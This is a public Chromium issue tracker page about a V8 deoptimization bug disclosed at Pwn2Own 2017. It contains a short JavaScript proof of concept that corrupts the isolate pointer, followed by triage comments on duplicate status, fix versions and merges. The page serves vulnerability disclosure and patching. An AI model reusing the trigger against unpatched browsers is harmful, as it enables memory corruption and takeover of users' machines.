New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 780402 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Nov 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Pwn2own: V8 - isolate control via function deoptimization

Project Member Reported by awhalley@chromium.org, Nov 1 2017

Issue description

The following bug was disclosed by ZDI during pacsec/mobile pwn2own 2017.  Reference ZDI-CAN-5336

When the function deoptmizes, v8 engine has to restore the context. And in this function, deoptimizer doesn't work properly, the context is confused to an arguments_marker after the deoptimization and the isolate point to 0x7ff00000. So after we spray to control this address, we also control the isolate.

poc:

function SDD() {
    function foo() {}
    foo[0] = 0;
    foo.prototype = 0;

    try {
        throw 0;
    } catch(e) {
        [0].forEach(bar);
    }

    function bar() {
        foo[200];
    }

    for (var i = 0; i < 0x2000000; ++i) {}
}

SDD();
SDD();
SDD();
 
Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Description: Show this description
Project Member

Comment 3 by sheriffbot@chromium.org, Nov 1 2017

Labels: Pri-1
Project Member

Comment 4 by ClusterFuzz, Nov 1 2017

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5677908797685760.
Cc: hpayer@chromium.org hablich@chromium.org
Just to get it explicitly on 
Project Member

Comment 6 by ClusterFuzz, Nov 1 2017

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4748621353582592.

Comment 7 by aarya@google.com, Nov 1 2017

Summary: Pwn2own: V8 - isolate control via function deoptimization (was: Security: V8 - isolate control via function deoptimization )
Owner: ishell@chromium.org
Status: Assigned (was: Unconfirmed)
Assigning to v8 sheriff for this week.
Cc: adamk@chromium.org
Cc: jkummerow@chromium.org
Cc: adamk@google.com
This looks all most certainly to be a dup of issue 762020.
Which means a fix has already been merged to the M62 branch.
Mergedinto: 762020
Status: Duplicate (was: Assigned)
Confirmed, this is fixed by passing:

--js-flags=--noturbo_inline_array_builtins

when starting Chrome, so it's a dup and the fix is already merged.

Comment 15 by wfh@chromium.org, Nov 2 2017

Cc: amineer@chromium.org
just to wrap this up - 

re: 14 can confirm that 62.0.3202.73 which is the version that KEEN team were succesfully targeting was/is using v8 version 6.2.414.34 which does not have 32141e93ff094f6df691cb89b10d2d6e1af4e983. This is why they were confident they would have been able to exploit this (they would).

The next release of Android Chrome - 62.0.3202.85(?) contains v8 6.2.414.38, which contains this fix.

TL;DR; no action required.
Project Member

Comment 16 by ClusterFuzz, Nov 2 2017

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5599841702117376.

Comment 17 by wfh@chromium.org, Nov 2 2017

actually considering 32141e93ff094f6df691cb89b10d2d6e1af4e983 was a stability fix and not a security fix, it sounds like this underlying issue should still be looked at...?
Status: Assigned (was: Duplicate)
Reopening the bug, i agree with c#17. We need a fix in turbo-inline-array-builtins, so that when it reenabled later, we don't reintroduce this bug silently.
Cc: jarin@chromium.org bmeu...@chromium.org neis@chromium.org
Friendly ping from security sheriff.

Comment 21 by adamk@chromium.org, Nov 14 2017

Owner: jarin@chromium.org
As far as I know this is fixed in versions after M62, but assigning to jarin for confirmation.

Comment 22 by jarin@chromium.org, Nov 15 2017

Status: Fixed (was: Assigned)
Project Member

Comment 23 by sheriffbot@chromium.org, Nov 15 2017

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member

Comment 24 by sheriffbot@chromium.org, Dec 15 2017

Labels: Merge-Request-64
Project Member

Comment 25 by sheriffbot@chromium.org, Dec 15 2017

Labels: -Merge-Request-64 Hotlist-Merge-Review Merge-Review-64
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: awhalley@chromium.org
+awhalley
Labels: -M-63 -Merge-Review-64 M-64
Hi jarin@ - mind confirming there's been a fix to turbo-inline-array-builtins, per #18?

Comment 28 by neis@chromium.org, Dec 19 2017

These issues had already been fixed in early October, see https://bugs.chromium.org/p/chromium/issues/detail?id=762020.
Labels: Release-0-M64
Project Member

Comment 30 by sheriffbot@chromium.org, Feb 21 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Cc: pelizzi@google.com
Project Member

Comment 32 by sheriffbot@chromium.org, Mar 27 2018

Labels: -M-64 M-65

Sign in to add a comment